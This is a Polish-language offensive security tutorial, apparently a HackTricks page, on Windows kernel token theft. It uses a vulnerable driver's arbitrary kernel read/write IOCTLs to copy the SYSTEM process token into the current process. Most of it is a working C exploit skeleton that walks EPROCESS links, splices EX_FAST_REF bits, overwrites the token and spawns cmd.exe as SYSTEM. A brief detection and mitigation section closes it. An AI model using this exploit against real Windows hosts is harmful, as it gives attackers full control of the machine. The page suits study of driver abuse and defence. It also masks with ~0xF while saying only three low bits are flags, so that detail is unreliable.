## Przegląd
|
||||
|
||||
Jeśli podatny sterownik udostępnia IOCTL dający atakującemu dowolne prymitywy kernel read i/lub write, eskalacja do NT AUTHORITY\SYSTEM często jest możliwa przez kradzież tokena SYSTEM. Technika kopiuje wskaźnik Token z EPROCESS procesu SYSTEM do EPROCESS bieżącego procesu.
|
||||
|
||||
Dlaczego to działa:
|
||||
- Każdy proces ma strukturę EPROCESS, która zawiera (między innymi polami) Token (w rzeczywistości EX_FAST_REF do obiektu token).
|
||||
- Proces SYSTEM (PID 4) posiada token ze wszystkimi włączonymi uprawnieniami.
|
||||
- Zamiana EPROCESS.Token bieżącego procesu na wskaźnik tokena SYSTEM sprawia, że bieżący proces natychmiast działa jako SYSTEM.
|
||||
|
||||
> Offsets w EPROCESS różnią się między wersjami Windows. Określaj je dynamicznie (symbols) lub używaj stałych specyficznych dla wersji. Pamiętaj też, że EPROCESS.Token jest EX_FAST_REF (niskie 3 bity to flagi licznika referencji).
|
||||
|
||||
## Kroki wysokiego poziomu
|
||||
|
||||
1) Zlokalizuj bazę ntoskrnl.exe i rozwiąż adres PsInitialSystemProcess.
|
||||
- Z poziomu user mode użyj NtQuerySystemInformation(SystemModuleInformation) lub EnumDeviceDrivers, aby uzyskać bazy załadowanych sterowników.
|
||||
- Dodaj offset PsInitialSystemProcess (z symbols/reversing) do bazy jądra, aby uzyskać jego adres.
|
||||
2) Odczytaj wskaźnik pod PsInitialSystemProcess → to jest wskaźnik kernelowy do EPROCESS SYSTEM.
|
||||
3) Z EPROCESS SYSTEM odczytaj offsety UniqueProcessId i ActiveProcessLinks, aby przeszukać dwukierunkową listę EPROCESS (ActiveProcessLinks.Flink/Blink) aż znajdziesz EPROCESS, którego UniqueProcessId równa się GetCurrentProcessId(). Zachowaj oba:
|
||||
- EPROCESS_SYSTEM (dla SYSTEM)
|
||||
- EPROCESS_SELF (dla bieżącego procesu)
|
||||
4) Odczytaj wartość tokena SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Wymaskuj niskie 3 bity: Token_SYS_masked = Token_SYS & ~0xF (zwykle ~0xF lub ~0x7 w zależności od build; na x64 używane są niskie 3 bity — maska 0xFFFFFFFFFFFFFFF8).
|
||||
5) Opcja A (powszechna): Zachowaj niskie 3 bity z twojego bieżącego tokena i dołącz je do wskaźnika SYSTEM, aby utrzymać zgodność osadzonego licznika referencji.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Zapisz Token_NEW z powrotem do (EPROCESS_SELF + TokenOffset) używając swojego kernel write primitive.
|
||||
7) Twój bieżący proces jest teraz SYSTEM. Opcjonalnie uruchom nowy cmd.exe lub powershell.exe, aby to potwierdzić.
|
||||
|
||||
## Pseudokod
|
||||
|
||||
Poniżej szkic, który używa tylko dwóch IOCTL z podatnego sterownika, jednego do 8-bajtowego kernel read i jednego do 8-bajtowego kernel write. Zastąp interfejsem twojego sterownika.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notatki:
|
||||
- Przesunięcia: Użyj WinDbg’s `dt nt!_EPROCESS` z docelowymi PDBs, lub runtime symbol loaderem, aby uzyskać poprawne offsets. Nie hardkoduj na ślepo.
|
||||
- Maska: Na x64 token jest EX_FAST_REF; dolne 3 bity są bitami licznika referencji. Zachowanie oryginalnych dolnych bitów w twoim tokenie zapobiega natychmiastowym niespójnościom refcount.
|
||||
- Stabilność: Preferuj podniesienie uprawnień bieżącego procesu; jeśli podniesiesz krótkożyjący helper, możesz stracić SYSTEM, gdy się zakończy.
|
||||
|
||||
## Wykrywanie i łagodzenie
|
||||
- Przyczyną jest ładowanie niepodpisanych lub nieufanych sterowników firm trzecich, które udostępniają potężne IOCTLs.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard oraz reguły Attack Surface Reduction mogą zapobiegać ładowaniu podatnych sterowników.
|
||||
- EDR może monitorować podejrzane sekwencje IOCTL implementujące arbitrary read/write oraz token swaps.
|
||||
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user